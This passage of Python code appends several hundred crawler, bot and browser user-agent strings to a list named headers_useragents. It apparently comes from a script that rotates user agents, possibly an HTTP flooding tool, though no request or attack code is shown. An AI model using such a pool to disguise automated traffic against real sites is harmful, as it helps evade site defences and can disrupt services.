  403.     headers_useragents.append('boitho.com-robot/1.x')
  404.     headers_useragents.append('boitho.com-robot/1.x (http://www.boitho.com/bot.html)')
  405.     headers_useragents.append('Bookdog/x.x')
  406.     headers_useragents.append('Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/)')
  407.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  408.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  409.     headers_useragents.append('BookmarkBase(2/;http://bookmarkbase.com)')
  410.     headers_useragents.append('Bot mailto:craftbot@yahoo.com')
  411.     headers_useragents.append('BPImageWalker/2.0 (www.bdbrandprotect.com)')
  412.     headers_useragents.append('BravoBrian bstop.bravobrian.it')
  413.     headers_useragents.append('BravoBrian SpiderEngine MarcoPolo')
  414.     headers_useragents.append('BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)')
  415.     headers_useragents.append('BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html)')
  416.     headers_useragents.append('BSDSeek/1.0')
  417.     headers_useragents.append('BStop.BravoBrian.it Agent Detector')
  418.     headers_useragents.append('BTbot/0.x (+http://www.btbot.com/btbot.html)')
  419.     headers_useragents.append('BTWebClient/180B(9704)')
  420.     headers_useragents.append('BuildCMS crawler (http://www.buildcms.com/crawler)')
  421.     headers_useragents.append('Bulkfeeds/r1752 (http://bulkfeeds.net/)')
  422.     headers_useragents.append('BullsEye')
  423.     headers_useragents.append('bumblebee@relevare.com')
  424.     headers_useragents.append('BunnySlippers')
  425.     headers_useragents.append('BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com)')
  426.     headers_useragents.append('Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/)')
  427.     headers_useragents.append('BW-C-2.0')
  428.     headers_useragents.append('bwh3_user_agent')
  429.     headers_useragents.append('Cabot/Nutch-0.9 (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  430.     headers_useragents.append('Cabot/Nutch-1.0-dev (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  431.     headers_useragents.append('CamelHttpStream/1.0')
  432.     headers_useragents.append('Cancer Information and Support International;')
  433.     headers_useragents.append('carleson/1.0')
  434.     headers_useragents.append('Carnegie_Mellon_University_Research_WebBOT-->PLEASE READ-->http://www.andrew.cmu.edu/~brgordon/webbot/index.html http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  435.     headers_useragents.append('Carnegie_Mellon_University_WebCrawler http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  436.     headers_useragents.append('Catall Spider')
  437.     headers_useragents.append('CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)')
  438.     headers_useragents.append('CCBot/1.0 (+http://www.commoncrawl.org/bot.html)')
  439.     headers_useragents.append('ccubee/x.x')
  440.     headers_useragents.append('CDR/1.7.1 Simulator/0.7(+http://timewe.net) Profile/MIDP-1.0 Configuration/CLDC-1.0')
  441.     headers_useragents.append('CE-Preload')
  442.     headers_useragents.append('CentiverseBot')
  443.     headers_useragents.append('CentiverseBot - investigator')
  444.     headers_useragents.append('CentiverseBot/3.0 (http://www.centiverse-project.net)')
  445.     headers_useragents.append('Ceramic Tile Installation Guide (http://www.floorstransformed.com)')
  446.     headers_useragents.append('CERN-LineMode/2.15')
  447.     headers_useragents.append('cfetch/1.0')
  448.     headers_useragents.append('CFNetwork/x.x')
  449.     headers_useragents.append('cg-eye interactive')
  450.     headers_useragents.append('Charon/1.x (Amiga)')
  451.     headers_useragents.append('Chat Catcher/1.0')
  452.     headers_useragents.append('Checkbot/1.xx LWP/5.xx')
  453.     headers_useragents.append('CheckLinks/1.x.x')
  454.     headers_useragents.append('CheckUrl')
  455.     headers_useragents.append('CheckWeb')
  456.     headers_useragents.append('Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)')
  457.     headers_useragents.append('China Local Browse 2.6')
  458.     headers_useragents.append('Chitika ContentHit 1.0')
  459.     headers_useragents.append('ChristCRAWLER 2.0')
  460.     headers_useragents.append('CHttpClient by Open Text Corporation')
  461.     headers_useragents.append('CipinetBot (http://www.cipinet.com/bot.html)')
  462.     headers_useragents.append('Cityreview Robot (+http://www.cityreview.org/crawler/)')
  463.     headers_useragents.append('CJ Spider/')
  464.     headers_useragents.append('CJB.NET Proxy')
  465.     headers_useragents.append('ClariaBot/1.0')
  466.     headers_useragents.append('Claymont.com')
  467.     headers_useragents.append('CloakDetect/0.9 (+http://fulltext.seznam.cz/)')
  468.     headers_useragents.append('Clushbot/2.x (+http://www.clush.com/bot.html)')
  469.     headers_useragents.append('Clushbot/3.x-BinaryFury (+http://www.clush.com/bot.html)')
  470.     headers_useragents.append('Clushbot/3.xx-Ajax (+http://www.clush.com/bot.html)')
  471.     headers_useragents.append('Clushbot/3.xx-Hector (+http://www.clush.com/bot.html)')
  472.     headers_useragents.append('Clushbot/3.xx-Peleus (+http://www.clush.com/bot.html)')
  473.     headers_useragents.append('COAST WebMaster Pro/4.x.x.xx (Windows NT)')
  474.     headers_useragents.append('CoBITSProbe')
  475.     headers_useragents.append('Cocoal.icio.us/1.0 (v36) (Mac OS X; http://www.scifihifi.com/cocoalicious)')
  476.     headers_useragents.append('Cogentbot/1.X (+http://www.cogentsoftwaresolutions.com/bot.html)')
  477.     headers_useragents.append('ColdFusion')
  478.     headers_useragents.append('ColdFusion (BookmarkTracker.com)')
  479.     headers_useragents.append('collage.cgi/1.xx')
  480.     headers_useragents.append('combine/0.0')
  481.     headers_useragents.append('Combine/2.0 http://combine.it.lth.se/')
  482.     headers_useragents.append('Combine/3 http://combine.it.lth.se/')
  483.     headers_useragents.append('Combine/x.0')
  484.     headers_useragents.append('cometrics-bot) http://www.cometrics.de')
  485.     headers_useragents.append('Commerce Browser Center')
  486.     headers_useragents.append('complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; nimakhaj@gmail.com)')
  487.     headers_useragents.append('Computer_and_Automation_Research_Institute_Crawler crawler@ilab.sztaki.hu')
  488.     headers_useragents.append('Comrite/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  489.     headers_useragents.append('Contact')
  490.     headers_useragents.append('ContactBot/0.2')
  491.     headers_useragents.append('ContentSmartz')
  492.     headers_useragents.append('contype')
  493.     headers_useragents.append('Convera Internet Spider V6.x')
  494.     headers_useragents.append('ConveraCrawler/0.2')
  495.     headers_useragents.append('ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)')
  496.     headers_useragents.append('ConveraMultiMediaCrawler/0.1 (+http://www.authoritativeweb.com/crawl)')
  497.     headers_useragents.append('CoolBot')
  498.     headers_useragents.append('Cooliris/1.5 CFNetwork/459 Darwin/10.0.0d3')
  499.     headers_useragents.append('CoralWebPrx/0.1.1x (See http://coralcdn.org/)')
  500.     headers_useragents.append('cosmos/0.8_(robot@xyleme.com)')
  501.     headers_useragents.append('cosmos/0.9_(robot@xyleme.com)')
  502.     headers_useragents.append('CoteoNutchCrawler/Nutch-0.9 (info [at] coteo [dot] com)')
  503.     headers_useragents.append('CougarSearch/0.x (+http://www.cougarsearch.com/faq.shtml)')
  504.     headers_useragents.append('Covac TexAs Arachbot')
  505.     headers_useragents.append('CoverScout%203/3.0.1 CFNetwork/339.5 Darwin/9.5.0 (i386) (iMac5)1)')
  506.     headers_useragents.append('Cowbot-0.1 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  507.     headers_useragents.append('Cowbot-0.1.x (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  508.     headers_useragents.append('CrawlConvera0.1 (CrawlConvera@yahoo.com)')
  509.     headers_useragents.append('Crawler')
  510.     headers_useragents.append('Crawler (cometsearch@cometsystems.com)')
  511.     headers_useragents.append('Crawler admin@crawler.de')
  512.     headers_useragents.append('Crawler V 0.2.x admin@crawler.de')
  513.     headers_useragents.append('crawler@alexa.com')
  514.     headers_useragents.append('CrawlerBoy Pinpoint.com')
  515.     headers_useragents.append('Crawllybot/0.1 (Crawllybot; +http://www.crawlly.com; crawler@crawlly.com)')
  516.     headers_useragents.append('CreativeCommons/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)')
  517.     headers_useragents.append('Cricket-A100/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0')
  518.     headers_useragents.append('CrocCrawler vx.3 [en] (http://www.croccrawler.com) (X11; I; Linux 2.0.44 i686)')
  519.     headers_useragents.append('csci_b659/0.13')
  520.     headers_useragents.append('CSE HTML Validator Professional (http://www.htmlvalidator.com/)')
  521.     headers_useragents.append('Cuam Ver0.050bx')
  522.     headers_useragents.append('Cuasarbot/0.9b http://www.cuasar.com/spider_beta/')
  523.     headers_useragents.append('curl/7.10.x (i386-redhat-linux-gnu) libcurl/7.10.x OpenSSL/0.9.7a ipv6 zlib/1.1.4')
  524.     headers_useragents.append('curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)')
  525.     headers_useragents.append('curl/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6)')
  526.     headers_useragents.append('curl/7.9.x (win32) libcurl 7.9.x')
  527.     headers_useragents.append('CurryGuide SiteScan 1.1')
  528.     headers_useragents.append('Custo x.x (www.netwu.com)')
  529.     headers_useragents.append('Custom Spider www.bisnisseek.com /1.0')
  530.     headers_useragents.append('Cyberdog/2.0 (Macintosh; 68k)')
  531.     headers_useragents.append('CyberPatrol SiteCat Webbot')
  532.     headers_useragents.append('CyberSpyder Link Test/2.1.12')
  533.     headers_useragents.append('CydralSpider/1.x')
  534.     headers_useragents.append('CydralSpider/3.0')
  535.     headers_useragents.append('DA 3.5')
  536.     headers_useragents.append('DA 4.0')
  537.     headers_useragents.append('DA 4.0')
  538.     headers_useragents.append('DA 5.0')
  539.     headers_useragents.append('DA 7.0')
  540.     headers_useragents.append('DAP x.x')
  541.     headers_useragents.append('Dart Communications PowerTCP')
  542.     headers_useragents.append('DataCha0s/2.0')
  543.     headers_useragents.append('DataCha0s/2.0')
  544.     headers_useragents.append('DataFountains/DMOZ Downloader')
  545.     headers_useragents.append('DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)')
  546.     headers_useragents.append('DataFountains/DMOZ Feature Vector Corpus Creator (http://ivia.ucr.edu/useragents.shtml)')
  547.     headers_useragents.append('DataparkSearch/4.47 (+http://dataparksearch.org/bot)')
  548.     headers_useragents.append('DataparkSearch/4.xx (http://www.dataparksearch.org/)')
  549.     headers_useragents.append('DataSpear/1.0 (Spider; http://www.dataspear.com/spider.html; spider@dataspear.com)')
  550.     headers_useragents.append('DataSpearSpiderBot/0.2 (DataSpear Spider Bot; http://dssb.dataspear.com/bot.html; dssb@dataspear.com)')
  551.     headers_useragents.append('DatenBot( http://www.sicher-durchs-netz.de/bot.html)')
  552.     headers_useragents.append('DaviesBot/1.7')
  553.     headers_useragents.append('daypopbot/0.x')
  554.     headers_useragents.append('dbDig(http://www.prairielandconsulting.com)')
  555.     headers_useragents.append('DBrowse 1.4b')
  556.     headers_useragents.append('DBrowse 1.4d')
  557.     headers_useragents.append('DC-Sakura/x.xx')
  558.     headers_useragents.append('dCSbot/1.1')
  559.     headers_useragents.append('DDD')
  560.     headers_useragents.append('dds explorer v1.0 beta')
  561.     headers_useragents.append('de.searchengine.comBot 1.2 (http://de.searchengine.com/spider)')
  562.     headers_useragents.append('DeadLinkCheck/0.4.0 libwww-perl/5.xx')
  563.     headers_useragents.append('Deep Link Calculator v1.0')
  564.     headers_useragents.append('deepak-USC/ISI')
  565.     headers_useragents.append('DeepIndex')
  566.     headers_useragents.append('DeepIndex ( http://www.zetbot.com )')
  567.     headers_useragents.append('DeepIndex (www.en.deepindex.com)')
  568.     headers_useragents.append('DeepIndexer.ca')
  569.     headers_useragents.append('del.icio.us-thumbnails/1.0 Mozilla/5.0 (compatible; Konqueror/3.4; FreeBSD) KHTML/3.4.2 (like Gecko)')
  570.     headers_useragents.append('DeleGate/9.0.5-fix1')
  571.     headers_useragents.append('Demo Bot DOT 16b')
  572.     headers_useragents.append('Demo Bot Z 16b')
  573.     headers_useragents.append('Denmex websearch (http://search.denmex.com)')
  574.     headers_useragents.append('dev-spider2.searchpsider.com/1.3b')
  575.     headers_useragents.append('DevComponents.com HtmlDocument Object')
  576.     headers_useragents.append('DiaGem/1.1 (http://www.skyrocket.gr.jp/diagem.html)')
  577.     headers_useragents.append('Diamond/x.0')
  578.     headers_useragents.append('DiamondBot')
  579.     headers_useragents.append('Digger/1.0 JDK/1.3.0rc3')
  580.     headers_useragents.append('DigOut4U')
  581.     headers_useragents.append('DIIbot/1.2')
  582.     headers_useragents.append('Dillo/0.8.5-i18n-misc')
  583.     headers_useragents.append('Dillo/0.x.x')
  584.     headers_useragents.append('disastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; archangel77@del.icio.us)')
  585.     headers_useragents.append('DISCo Pump x.x')
  586.     headers_useragents.append('disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  587.     headers_useragents.append('disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  588.     headers_useragents.append('DittoSpyder')
  589.     headers_useragents.append('dloader(NaverRobot)/1.0')
  590.     headers_useragents.append('DNSRight.com WebBot Link Ckeck Tool. Report abuse to: dnsr@dnsright.com')
  591.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10')
  592.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10/TB')
  593.     headers_useragents.append('DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)')
  594.     headers_useragents.append('DoCoMo/2.0 P900iV(c100;TB;W24H11)')
  595.     headers_useragents.append('DoCoMo/2.0 SH901iS(c100;TB;W24H12))gzip(gfe) (via translate.google.com)')
  596.     headers_useragents.append('DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  597.     headers_useragents.append('DoCoMo/2.0/SO502i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  598.     headers_useragents.append('DocZilla/1.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020804')
  599.     headers_useragents.append('dodgebot/experimental')
  600.     headers_useragents.append('DonutP; Windows98SE')
  601.     headers_useragents.append('Doubanbot/1.0 (bot@douban.com http://www.douban.com)')
  602.     headers_useragents.append('Download Demon/3.x.x.x')
  603.     headers_useragents.append('Download Druid 2.x')
  604.     headers_useragents.append('Download Express 1.0')
  605.     headers_useragents.append('Download Master')
  606.     headers_useragents.append('Download Ninja 3.0')
  607.     headers_useragents.append('Download Wonder')
  608.     headers_useragents.append('Download-Tipp Linkcheck (http://download-tipp.de/)')
  609.     headers_useragents.append('Download.exe(1.1) (+http://www.sql-und-xml.de/freeware-tools/)')
  610.     headers_useragents.append('DownloadDirect.1.0')
  611.     headers_useragents.append('Dr.Web (R) online scanner: http://online.drweb.com/')
  612.     headers_useragents.append('Dragonfly File Reader')
  613.     headers_useragents.append('Drecombot/1.0 (http://career.drecom.jp/bot.html)')
  614.     headers_useragents.append('Drupal (+http://drupal.org/)')
  615.     headers_useragents.append('DSurf15a 01')
  616.     headers_useragents.append('DSurf15a 71')
  617.     headers_useragents.append('DSurf15a 81')
  618.     headers_useragents.append('DSurf15a VA')
  619.     headers_useragents.append('DTAAgent')
  620.     headers_useragents.append('dtSearchSpider')
  621.     headers_useragents.append('Dual Proxy')
  622.     headers_useragents.append('DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)')
  623.     headers_useragents.append('Dumbot(version 0.1 beta - dumbfind.com)')
  624.     headers_useragents.append('Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)')
  625.     headers_useragents.append('Dumbot(version 0.1 beta)')
  626.     headers_useragents.append('e-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html)')
  627.     headers_useragents.append('e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)')
  628.     headers_useragents.append('eApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com)')
  629.     headers_useragents.append('EARTHCOM.info/1.x [www.earthcom.info]')
  630.     headers_useragents.append('EARTHCOM.info/1.xbeta [www.earthcom.info]')
  631.     headers_useragents.append('EasyDL/3.xx')
  632.     headers_useragents.append('EasyDL/3.xx http://keywen.com/Encyclopedia/Bot')
  633.     headers_useragents.append('EBrowse 1.4b')
  634.     headers_useragents.append('eCatch/3.0')
  635.     headers_useragents.append('EchO!/2.0')
  636.     headers_useragents.append('Educate Search VxB')
  637.     headers_useragents.append('egothor/3.0a (+http://www.xdefine.org/robot.html)')
  638.     headers_useragents.append('EgotoBot/4.8 (+http://www.egoto.com/about.htm)')
  639.     headers_useragents.append('ejupiter.com')
  640.     headers_useragents.append('EldoS TimelyWeb/3.x')
  641.     headers_useragents.append('elfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/)')
  642.     headers_useragents.append('ELI/20070402:2.0 (DAUM RSS Robot) Daum Communications Corp.; +http://ws.daum.net/aboutkr.html)')
  643.     headers_useragents.append('ELinks (0.x.x; Linux 2.4.20 i586; 132x60)')
  644.     headers_useragents.append('ELinks/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)')
  645.     headers_useragents.append('EmailSiphon')
  646.     headers_useragents.append('EmailSpider')
  647.     headers_useragents.append('EmailWolf 1.00')
  648.     headers_useragents.append('EmeraldShield.com WebBot')
  649.     headers_useragents.append('EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)')
  650.     headers_useragents.append('EMPAS_ROBOT')
  651.     headers_useragents.append('EnaBot/1.x (http://www.enaball.com/crawler.html)')
  652.     headers_useragents.append('endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)')
  653.     headers_useragents.append('Enfish Tracker')
  654.     headers_useragents.append('Enterprise_Search/1.0')
  655.     headers_useragents.append('Enterprise_Search/1.0.xxx')
  656.     headers_useragents.append('Enterprise_Search/1.00.xxx;MSSQL (http://www.innerprise.net/es-spider.asp)')
  657.     headers_useragents.append('envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php)')
  658.     headers_useragents.append('envolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html)')
  659.     headers_useragents.append('EroCrawler')
  660.     headers_useragents.append('ES.NET_Crawler/2.0 (http://search.innerprise.net/)')
  661.     headers_useragents.append('eseek-larbin_2.6.2 (crawler@exactseek.com)')
  662.     headers_useragents.append('ESISmartSpider')
  663.     headers_useragents.append('eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)')
  664.     headers_useragents.append('ESurf15a 15')
  665.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetFile')
  666.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetRobots')
  667.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) PreCheck')
  668.     headers_useragents.append('Eurobot/1.0 (http://www.ayell.eu)')
  669.     headers_useragents.append('EvaalSE - bot@evaal.com')
  670.     headers_useragents.append('eventax/1.3 (eventax; http://www.eventax.de/; info@eventax.de)')
  671.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; host=e-1-24; http://everest.vulcan.com/crawlerhelp)')
  672.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; http://everest.vulcan.com/crawlerhelp)')
  673.     headers_useragents.append('Exabot-Images/1.0')
  674.     headers_useragents.append('Exabot-Test/1.0')
  675.     headers_useragents.append('Exabot/2.0')
  676.     headers_useragents.append('Exabot/3.0')
  677.     headers_useragents.append('ExactSearch')
  678.     headers_useragents.append('ExactSeek Crawler/0.1')
  679.     headers_useragents.append('exactseek-crawler-2.63 (crawler@exactseek.com)')
  680.     headers_useragents.append('exactseek-pagereaper-2.63 (crawler@exactseek.com)')
  681.     headers_useragents.append('exactseek.com')
  682.     headers_useragents.append('Exalead NG/MimeLive Client (convert/http/0.120)')
  683.     headers_useragents.append('Excalibur Internet Spider V6.5.4')
  684.     headers_useragents.append('Execrawl/1.0 (Execrawl; http://www.execrawl.com/; bot@execrawl.com)')
  685.     headers_useragents.append('exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)')
  686.     headers_useragents.append('exooba/exooba crawler (exooba; exooba)')
  687.     headers_useragents.append('ExperimentalHenrytheMiragoRobot')
  688.     headers_useragents.append('Expired Domain Sleuth')
  689.     headers_useragents.append('Express WebPictures (www.express-soft.com)')
  690.     headers_useragents.append('ExtractorPro')
  691.     headers_useragents.append('Extreme Picture Finder')
  692.     headers_useragents.append('EyeCatcher (Download-tipp.de)/1.0')
  693.     headers_useragents.append('Factbot 1.09 (see http://www.factbites.com/webmasters.php)')
  694.     headers_useragents.append('factbot : http://www.factbites.com/robots')
  695.     headers_useragents.append('FaEdit/2.0.x')
  696.     headers_useragents.append('FairAd Client')
  697.     headers_useragents.append('FANGCrawl/0.01')
  698.     headers_useragents.append('FARK.com link verifier')
  699.     headers_useragents.append('Fast Crawler Gold Edition')
  700.     headers_useragents.append('FAST Enterprise Crawler 6 (Experimental)')
  701.     headers_useragents.append('FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/')
  702.     headers_useragents.append('FAST Enterprise Crawler 6 used by Cobra Development (admin@fastsearch.com)')
  703.     headers_useragents.append('FAST Enterprise Crawler 6 used by Comperio AS (sts@comperio.no)')
  704.     headers_useragents.append('FAST Enterprise Crawler 6 used by FAST (FAST)')
  705.     headers_useragents.append('FAST Enterprise Crawler 6 used by Pages Jaunes (pvincent@pagesjaunes.fr)')
  706.     headers_useragents.append('FAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\at\sensis\dot\com\dot\au)')
  707.     headers_useragents.append('FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)')
  708.     headers_useragents.append('FAST Enterprise Crawler 6 used by WWU (wardi@uni-muenster.de)')
  709.     headers_useragents.append('FAST Enterprise Crawler/6 (www.fastsearch.com)')
  710.     headers_useragents.append('FAST Enterprise Crawler/6.4 (helpdesk at fast.no)')
  711.     headers_useragents.append('FAST FirstPage retriever (compatible; MSIE 5.5; Mozilla/4.0)')
  712.     headers_useragents.append('FAST MetaWeb Crawler (helpdesk at fastsearch dot com)')
  713.     headers_useragents.append('Fast PartnerSite Crawler')
  714.     headers_useragents.append('FAST-WebCrawler/2.2.10 (Multimedia Search) (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  715.     headers_useragents.append('FAST-WebCrawler/2.2.6 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  716.     headers_useragents.append('FAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  717.     headers_useragents.append('FAST-WebCrawler/2.2.8 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  718.     headers_useragents.append('FAST-WebCrawler/3.2 test')
  719.     headers_useragents.append('FAST-WebCrawler/3.3 (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  720.     headers_useragents.append('FAST-WebCrawler/3.4/Nirvana (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  721.     headers_useragents.append('FAST-WebCrawler/3.4/PartnerSite (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  722.     headers_useragents.append('FAST-WebCrawler/3.5 (atw-crawler at fast dot no; http://fast.no/support.php?c=faqs/crawler)')
  723.     headers_useragents.append('FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  724.     headers_useragents.append('FAST-WebCrawler/3.6/FirstPage (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  725.     headers_useragents.append('FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  726.     headers_useragents.append('FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)')
  727.     headers_useragents.append('FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  728.     headers_useragents.append('FAST-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  729.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia')
  730.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no)')
  731.     headers_useragents.append('fastbot crawler beta 2.0 (+http://www.fastbot.de)')
  732.     headers_useragents.append('FastBug http://www.ay-up.com')
  733.     headers_useragents.append('FastCrawler 3.0.1 (crawler@1klik.dk)')
  734.     headers_useragents.append('FastSearch Web Crawler for Verizon SuperPages (kevin.watters@fastsearch.com)')
  735.     headers_useragents.append('Favcollector/2.0 (info@favcollector.com http://www.favcollector.com/)')
  736.     headers_useragents.append('FavIconizer')
  737.     headers_useragents.append('favo.eu crawler/0.6 (http://www.favo.eu)')
  738.     headers_useragents.append('FavOrg')
  739.     headers_useragents.append('Favorites Checking (http://campulka.net)')
  740.     headers_useragents.append('Favorites Sweeper v.2.03')
  741.     headers_useragents.append('Faxobot/1.0')
  742.     headers_useragents.append('FDM 1.x')
  743.     headers_useragents.append('FDM 2.x')
  744.     headers_useragents.append('Feed Seeker Bot (RSS Feed Seeker http://www.MyNewFavoriteThing.com/fsb.php)')
  745.     headers_useragents.append('Feed24.com')
  746.     headers_useragents.append('Feed::Find/0.0x')
  747.     headers_useragents.append('Feedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1)')
  748.     headers_useragents.append('FeedChecker/0.01')
  749.     headers_useragents.append('FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)')
  750.     headers_useragents.append('Feedfetcher-Google-iGoogleGadgets; (+http://www.google.com/feedfetcher.html)')
  751.     headers_useragents.append('Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)')
  752.     headers_useragents.append('FeedForAll rss2html.php v2')
  753.     headers_useragents.append('FeedHub FeedDiscovery/1.0 (http://www.feedhub.com)')
  754.     headers_useragents.append('FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)')
  755.     headers_useragents.append('Feedjit Favicon Crawler 1.0')
  756.     headers_useragents.append('Feedreader 3.xx (Powered by Newsbrain)')
  757.     headers_useragents.append('Feedshow/x.0 (http://www.feedshow.com; 1 subscriber)')
  758.     headers_useragents.append('FeedshowOnline (http://www.feedshow.com)')
  759.     headers_useragents.append('FeedZcollector v1.x (Platinum) http://www.feeds4all.com/feedzcollector')
  760.     headers_useragents.append('Felix - Mixcat Crawler (+http://mixcat.com)')
  761.     headers_useragents.append('fetch libfetch/2.0')
  762.     headers_useragents.append('FFC Trap Door Spider')
  763.     headers_useragents.append('Filangy/0.01-beta (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  764.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.filangy.com/filangyinfo.jsp?inc=robots.jsp; filangy-agent@filangy.com)')
  765.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  766.     headers_useragents.append('fileboost.net/1.0 (+http://www.fileboost.net)')
  767.     headers_useragents.append('FileHound x.x')
  768.     headers_useragents.append('Filtrbox/1.0')
  769.     headers_useragents.append('FindAnISP.com_ISP_Finder_v99a')
  770.     headers_useragents.append('Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece)')
  771.     headers_useragents.append('findlinks/x.xxx (+http://wortschatz.uni-leipzig.de/findlinks/)')
  772.     headers_useragents.append('FineBot')
  773.     headers_useragents.append('Finjan-prefetch')
  774.     headers_useragents.append('Firefly/1.0')
  775.     headers_useragents.append('Firefly/1.0 (compatible; Mozilla 4.0; MSIE 5.5)')
  776.     headers_useragents.append('Firefox (kastaneta03@hotmail.com)')
  777.     headers_useragents.append('Firefox_1.0.6 (kasparek@naparek.cz)')
  778.     headers_useragents.append('FirstGov.gov Search - POC:firstgov.webmasters@gsa.gov')
  779.     headers_useragents.append('firstsbot')
  780.     headers_useragents.append('Flapbot/0.7.2 (Flaptor Crawler; http://www.flaptor.com; crawler at flaptor period com)')
  781.     headers_useragents.append('FlashGet')
  782.     headers_useragents.append('FLATARTS_FAVICO')
  783.     headers_useragents.append('Flexum spider')
  784.     headers_useragents.append('Flexum/2.0')
  785.     headers_useragents.append('FlickBot 2.0 RPT-HTTPClient/0.3-3')
  786.     headers_useragents.append('flunky')
  787.     headers_useragents.append('fly/6.01 libwww/4.0D')
  788.     headers_useragents.append('flyindex.net 1.0/http://www.flyindex.net')
  789.     headers_useragents.append('FnooleBot/2.5.2 (+http://www.fnoole.com/addurl.html)')
  790.     headers_useragents.append('FocusedSampler/1.0')
  791.     headers_useragents.append('Folkd.com Spider/0.1 beta 1 (www.folkd.com)')
  792.     headers_useragents.append('FollowSite Bot ( http://www.followsite.com/bot.html )')
  793.     headers_useragents.append('FollowSite.com ( http://www.followsite.com/b.html )')
  794.     headers_useragents.append('Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots')
  795.     headers_useragents.append('Francis/1.0 (francis@neomo.de http://www.neomo.de/)')
